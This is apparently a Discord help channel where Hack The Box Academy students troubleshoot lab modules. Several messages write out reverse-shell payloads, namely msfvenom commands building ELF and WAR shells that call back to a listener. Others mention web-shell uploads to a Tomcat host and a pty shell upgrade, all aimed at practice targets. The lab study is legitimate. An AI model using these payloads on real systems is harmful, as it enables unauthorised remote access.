[hearty orbit]

Great, thank you

[eternal inlet]

Guys
My insta acc is gonna get permanently deactivated
And I want to get it back

[hearty orbit]

Anyone having any trouble with the WordPress/WPScan modules on the Pentester Pathway? I get the following when trying to use it:
Scan Aborted: metadata.json: checksums do not match. Please try again in a few minutes.
I've waited a full day and it still doesn't work. Can't find much reference to it online and no solutions anywhere? Anyone know how to fix it?

[autumn pilot]

reach out to instagram's support, we cannot help you here

[autumn pilot]

which section is that?

[hearty orbit]

https://academy.hackthebox.com/module/113/section/1208

[autumn pilot]

did you add the vhost in your hosts file?

[hearty orbit]

I did. I think it may be a problem with WPScan though, as even running "wpscan --update" returns the same error. I've tried a fresh Kali VM and get the same error. I'm not sure what else to try?

[autumn pilot]

try to run the same command on the workstation, do you get the same error?

[hearty orbit]

You mean the PwnBox? Yeah, it doesn't work there either, same error

[autumn pilot]

Take a screenshot and DM it to me

[last peak]

Module Introduction to linux I'm having trouble that the last modified file is dpkg.arch.0
but it's not taking the answer correct.

[autumn pilot]

make sure that you have established an SSH session to the target

[last peak]

yes I'm

[grim phoenix]

I am stuck on getting started - public exploit module. I am unable to find exploits using searchsploit command

any help would be great

[autumn pilot]

Explain what you have done so far and someone might jump in to help you, or you can use the search functionality in Discord to find similar situations and how someone else had gone past through it

[grim phoenix]

so far I have done nmap scan of server and tried finding exploitable vulnerability using searchsploit command. At first it was running a Apache httpd server now it is showing as Ngnix

I would also try the search options going forward

[autumn pilot]

if the target has a port alongside it, you don't have to scan it

Enumerate the service running on that port

[grim phoenix]

Thanks for guidance, I am getting started finding it quite challenging

[autumn pilot]

Put the IP address and port of the target in firefox

[eternal inlet]

in the app it said that i have 180 days to appeal after that it gonna be delted from the servers
reaching out to instagram's support
will it give me a chance to get it back

[storm elk]

We can't help you either way @eternal inlet

This server can not help you get your Instagram account back

Anyone claiming otherwise is offering illegal services and is most likely going to try to scam you.

[eternal inlet]

alright thanks

[grizzled schooner]

Working on the shells and payloads live engagement

Host - was able to get on to the pivot pc, when ||uploading a webshell to the host 1 website|| it seems as though no commands are working. I was able to get whoami and hostname, but anything else appears to break the shell... Any help?

[grim phoenix]

Yes was able to run the backup exploit from metasploit and got the file downloaded

[quick crane]

[viral lotus]

You checked to see if python or anything you could use to stabilise your shell is on the box?

[grizzled schooner]

Thanks for the hint - I'll look at that

nah - I used ||python -c 'import pty; pty.spawn("/bin/sh")'|| that command worked, but still no commands are working i.e. ls doesn't work, cd .. doesn't work... I keep getting 500 errors

I am supposed to use ||cmd.war|| from ||Laudanum|| right?

I tried using the ||.jsp|| file, but it didn't lead to anything

[grim phoenix]

cracked it thanks a lot

[grizzled schooner]

for reference, I also used ||python -c 'import pty; pty.spawn("/bin/bash")'|| as well

Everything's leading to a 500 error

[viral lotus]

It’s been a while since I have done it, have you looked at the hints just above the questions? Also did you answer the hostname question when you used the command

IIRC the shells on that one were somewhat temperamental

[grizzled schooner]

yeah I did get the hostname question - one of the only commands I could actually get to work was ||hostname||

The hint I'm given is ||
This host seems to allow war files to be uploaded. Maybe a certain kind of payload could be crafted....|| which makes sense. I did upload a war file which got me the shell, but I don't know if I'm missing something. I went to edit the .war file to try and maybe open a reverse shell, but it was all obfuscated and unreadable

[viral lotus]

Did you not create your own could be the payload think that part took me a while you need to make sure you got the right shell and have a listener in place to receive the rev shell

[grizzled schooner]

No, I didn't think that I could because the war file was obfuscated and I couldn't edit anything within the shell, but could maybe use metasploit to craft it with the .war as a payload??

I'll try that later

[viral lotus]

Give it a try later,

If you need to just dm I’ll reply when I can

[grizzled schooner]

Sweet thanks!

[gilded gale]

I am stuck at the Linux Fundamentals module
https://academy.hackthebox.com/module/18/section/80
I have tried my best to filter, but not getting a right answer
Can anyone help?

[gilded gale]

QUESTION :
Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

[waxen totem]

Yeah that question is unreasonably hard for a fundamentals module

curl https://www.inlanefreight.com/ | grep -Eo "https:\/\/.{0,3}\.inlanefreight\.com[^\"\']*" | sort -u | wc -l

[prisma coral]

Anyone else not able to RDP into the 'Windows Server' and 'Windows Desktop Versions' in the Windows priv esc module?
My VPN is fine, I can ping the server and interact with the other services on the box but xfreerdp just gives me ERRCONNECT_TLS_CONNECT_FAILED

[prisma coral]

Oh and I tried /cert:ignore

[storm elk]

try remmina

[prisma coral]

Will try

[gilded gale]

Thank you buddy!

[rough violet]

i mean, linux fundamentals has a RegEx section, it had a similar question, not challenging to that extent of regular expressions knowledge, but required it nonetheless

[waxen totem]

The regex section comes after the filter section... which is where this question is

[tranquil wren]

I am on the medium footprinting test module, is there a default password for the root user on these pwnboxes?

[compact stirrup]

Having issue with setoolkit is there any alternative.

[tranquil wren]

nvm got it

[astral ravine]

@jolly cradle I'm having billing issues in htb academy

[jolly cradle]

Please use the support portal in HTB Academy.

[near night]

Hello everyone
I am studying CPTS , and I am in module "Attacking Common Services" , in the Section : "Attacking DNS"
Doing my first question :
I realise the need to use the tool Subbrute to solve the module

Here what I did
Created resolvers.txt which inside it I add the ip address of the target
then run:
python3 subbrute.py inlanefreight.htb -s /opt/useful/seclists/Discovery/DNS/namelist.txt -r resolvers.txt

and waiting now more than 20 min , I am getting just this as you see in the pic !
Is that ok ? should I wait more than that ? shouldn't I get more subdomains ?

[karmic snow]

I am studying the module Learning Process at the Online Academy and I would like to know what is the answer to the last question?

[fading perch]

Can someone help me on window privileges escalation miscellaneous technique any hint or tip i tried all the technique shown in example but all I get is error only found the password for network scanner
I can't login to that account with the given password have access to the script dir and the task dir tried to modify it but didn't work running snaffler for but did not found any thing.

[thorny pelican]

is there a moderator i can contact regarding somthing to add in a module?

[misty current]

https://discord.com/channels/473760315293696010/1234357888114364508 You can post your suggestions here and they'll look into it

[grizzled schooner]

I ended up trying ||msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.15.231 LPORT=9999 -f elf > createbackup.war|| I was able to upload this one, but it didn't create a shell - I had 9999 open with nc, but there was no hits, any other nudges anyone can give?

Also tried using ||(multi/http/tomcat_jsp_upload_bypass)|| but this didn't work either... I'm stumped on this

[barren root]

2nd time asking. Doing AEN and the ext/pivot host connection is laggy.
First the SSH is fine, minute later it gets laggy, then it straight out timeouts. This persists between restarts ,terminations and VPN server changes

This means I cannot complete the module

[storm elk]

Have you tried switching to tcp?

Not done the module, but that could be help

[grizzled schooner]

Have now also tried ||$msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.129.204.126 LPORT=4444 -f war > nameoffile.war|| the file gets uploaded, I have the listener on, but nothing happens... I try to navigate to the file but I just get 404 errors

[honest crane]

Is this the Shells & Payloads skill assesment?

[grizzled schooner]

yeah

the live engagement

[honest crane]

Are you trying to get a reverse shell on the Foothold?

[storm elk]

You are connected via the foothold

You need to run everything on the foothold with the ip from such

[barren root]

lets see

[storm elk]

Not from your vpn ip

[grizzled schooner]

That's what I was trying to do... I originally wasn't attempting to have a rev shell, and just upload a laudanum .war or .jsp but commands rarely work even after upgrading the shell it all gives a 500 error

[honest crane]

Me personally, I forwarded that network to my Kali, so my results might not match 100%

[storm elk]

That could work too

[honest crane]

You can't upload at all, do you mean?

DM me, I'll try to help

[storm elk]

Thank you

[honest crane]

Sorry I meant @grizzled schooner

I haven't done AEN

[storm elk]

I know. But thank you for helping them 😉

[barren root]

Switching VPN to TCP solved the issue

finnicky thing, last time I used it, UDP fared better

thx

[storm elk]

You’re welcome. Have fun 🤩

[gray yacht]

Wrong LHOST

[gray yacht]

I was recently going through it again and this was about my stopping point. If you want to DM, I can go over what I did, since I didn't experience these issues.

[barren root]

Thank you I will keep that in mind. I'm doing it blind currently since I wanna take another jab at CPTS soon 😅

[zealous rune]

Hi I'm working through the SQL injection module. The question at the end of section Subverting Query Logic. I successfully get logged in, but not as user tom as asked by the question. Am I missing something?

nm

[plain charm]

Hello. I am on the live Engagement part of the module Shells & Payloads
I am stuck with the 2nd host in getting the shell. I found the Exploit and tried to import it to the "exploits/webapps/php" directory within Metasploit. But I keep reloading metasploit and still it can't find my exploit. Its frustating to see I am so close but still can't take it

[gray yacht]

Does it load with use exploit/name.xx in metasploit?

[plain charm]

Failed